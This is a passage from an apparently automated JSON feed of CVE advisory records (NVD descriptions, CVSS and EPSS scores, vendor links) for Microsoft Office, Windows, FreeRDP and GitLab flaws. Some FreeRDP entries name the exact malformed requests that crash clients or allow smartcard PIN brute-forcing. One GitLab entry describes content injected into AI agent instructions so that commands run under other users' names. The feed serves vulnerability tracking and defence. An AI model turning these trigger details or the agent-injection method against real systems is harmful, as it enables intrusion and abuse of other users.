exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100210","cveId":"CVE-2026-100210","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.933Z","updatedAt":"2026-10-15T21:16:47.980Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100210","asOf":"2026-10-15T21:16:47.980Z"},"epss":{"probability":0.0093,"percentile":0.60353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100210","type":"primary","publishedAt":"2026-10-13T19:17:40.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100210","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100209","cveId":"CVE-2026-100209","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.810Z","updatedAt":"2026-10-15T21:16:47.373Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100209","asOf":"2026-10-15T21:16:47.373Z"},"epss":{"probability":0.0095,"percentile":0.60991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100209","type":"primary","publishedAt":"2026-10-13T19:17:40.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100209","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100203","cveId":"CVE-2026-100203","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.327Z","updatedAt":"2026-10-20T16:08:13.367Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100203","asOf":"2026-10-20T16:08:13.367Z"},"epss":{"probability":0.0031,"percentile":0.23605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100203","type":"primary","publishedAt":"2026-10-13T19:17:40.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100203","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100201","cveId":"CVE-2026-100201","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:39.983Z","updatedAt":"2026-10-20T16:13:33.733Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100201","asOf":"2026-10-20T16:13:33.733Z"},"epss":{"probability":0.0031,"percentile":0.23604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100201","type":"primary","publishedAt":"2026-10-13T19:17:39.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100201","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100200","cveId":"CVE-2026-100200","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:39.840Z","updatedAt":"2026-10-20T16:14:36.240Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100200","asOf":"2026-10-20T16:14:36.240Z"},"epss":{"probability":0.0031,"percentile":0.23604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100200","type":"primary","publishedAt":"2026-10-13T19:17:39.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100200","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109949","cveId":"CVE-2026-109949","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter...","summary":"FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter per-handle. A malicious RDP server can exhaust the counter with VERIFY APDUs, then request a new SCardConnect to reset attempts, enabling unbounded online brute-forcing of the configured smartcard PIN.","detail":"FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter per-handle. A malicious RDP server can exhaust the counter with VERIFY APDUs, then request a new SCardConnect to reset attempts, enabling unbounded online brute-forcing of the configured smartcard PIN.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:33.410Z","updatedAt":"2026-10-21T14:25:16.543Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109949","asOf":"2026-10-21T14:25:16.543Z"},"epss":{"probability":0.00412,"percentile":0.35167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109949","type":"primary","publishedAt":"2026-10-13T14:17:33.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-chh2-527f-x255","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109947","cveId":"CVE-2026-109947","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive...","summary":"FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive redirection read requests. Attackers can send IRP_MJ_READ with Length 0xffffffff, causing roughly 4 GiB of zeroed allocation on 64-bit builds or an under-reserved buffer on 32-bit builds.","detail":"FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive redirection read requests. Attackers can send IRP_MJ_READ with Length 0xffffffff, causing roughly 4 GiB of zeroed allocation on 64-bit builds or an under-reserved buffer on 32-bit builds.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.993Z","updatedAt":"2026-10-21T15:01:40.460Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109947","asOf":"2026-10-21T15:01:40.460Z"},"epss":{"probability":0.00326,"percentile":0.254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109947","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109947","type":"primary","publishedAt":"2026-10-13T14:17:32.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-q56j-jjh6-38jf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109946","cveId":"CVE-2026-109946","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client.","summary":"FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client. A malicious or compromised RDP server can terminate a connected FreeRDP client after RDPGFX AVC444 negotiation by sending an in-bounds region rectangle with an odd width.","detail":"FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client. A malicious or compromised RDP server can terminate a connected FreeRDP client after RDPGFX AVC444 negotiation by sending an in-bounds region rectangle with an odd width.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:32.820Z","updatedAt":"2026-10-21T15:02:46.547Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109946","asOf":"2026-10-21T15:02:46.547Z"},"epss":{"probability":0.00326,"percentile":0.254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109946&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109946","type":"primary","publishedAt":"2026-10-13T14:17:32.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-97pf-pwp3-2wrv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109946&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109946, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109678","cveId":"CVE-2026-109678","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL...","summary":"FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL reader-name destination to scard_copy_strings. A malicious RDP server can send an SCardStatusA request with fmszReaderNamesIsNULL=1 to abort a connecting client.","detail":"FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL reader-name destination to scard_copy_strings. A malicious RDP server can send an SCardStatusA request with fmszReaderNamesIsNULL=1 to abort a connecting client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:31.053Z","updatedAt":"2026-10-20T20:44:04.140Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109678","asOf":"2026-10-20T20:44:04.140Z"},"epss":{"probability":0.00326,"percentile":0.254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109678&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109678","type":"primary","publishedAt":"2026-10-13T14:17:31.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-996j-34w6-5hgm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109678&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109678, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96893","cveId":"CVE-2026-96893","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have...","summary":"GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to inject specially crafted content into AI agent instructions, potentially causing unintended command execution attributed to other users, due to improper neutralization of special elements in AI conversation context construction.","detail":"GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to inject specially crafted content into AI agent instructions, potentially causing unintended command execution attributed to other users, due to improper neutralization of special elements in AI conversation context construction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:17:00.720Z","updatedAt":"2026-10-14T13:55:39.693Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96893","asOf":"2026-10-14T13:55:39.693Z"},"epss":{"probability":0.00584,"percentile":0.47618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96893","type":"primary","publishedAt":"2026-10-13T02:17:00.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92883","cveId":"CVE-2026-92883","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could have allowed an authenticated user to execute arbitrary JavaScript in the context of other users' browser sessions via a specially crafted repository, due to improper sanitization of HTML 